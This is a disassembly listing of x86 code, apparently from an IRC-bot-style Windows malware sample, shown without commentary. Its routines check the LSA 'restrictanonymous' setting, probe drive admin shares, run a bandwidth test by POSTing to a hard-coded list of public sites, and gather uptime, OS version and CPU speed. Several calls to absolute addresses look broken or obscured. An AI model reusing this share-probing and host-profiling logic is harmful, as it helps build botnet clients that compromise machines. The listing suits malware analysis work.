		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D94
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D5C


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439D20
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B38


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_439A00
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439D00
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CD8


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A10
		jb	short loc_41A321
		nop
		call	near ptr 2821BA0h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB004
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439D00
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CD8


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439CA8
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43384C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E48
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2680D52h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB270
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26C05CFh
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 267053Bh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D158
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26C05CFh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_4312AC


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_4312A8
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_4312A4
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_4312A0
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43129C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431298
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431290


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437864
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A13C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2711483h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2830000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
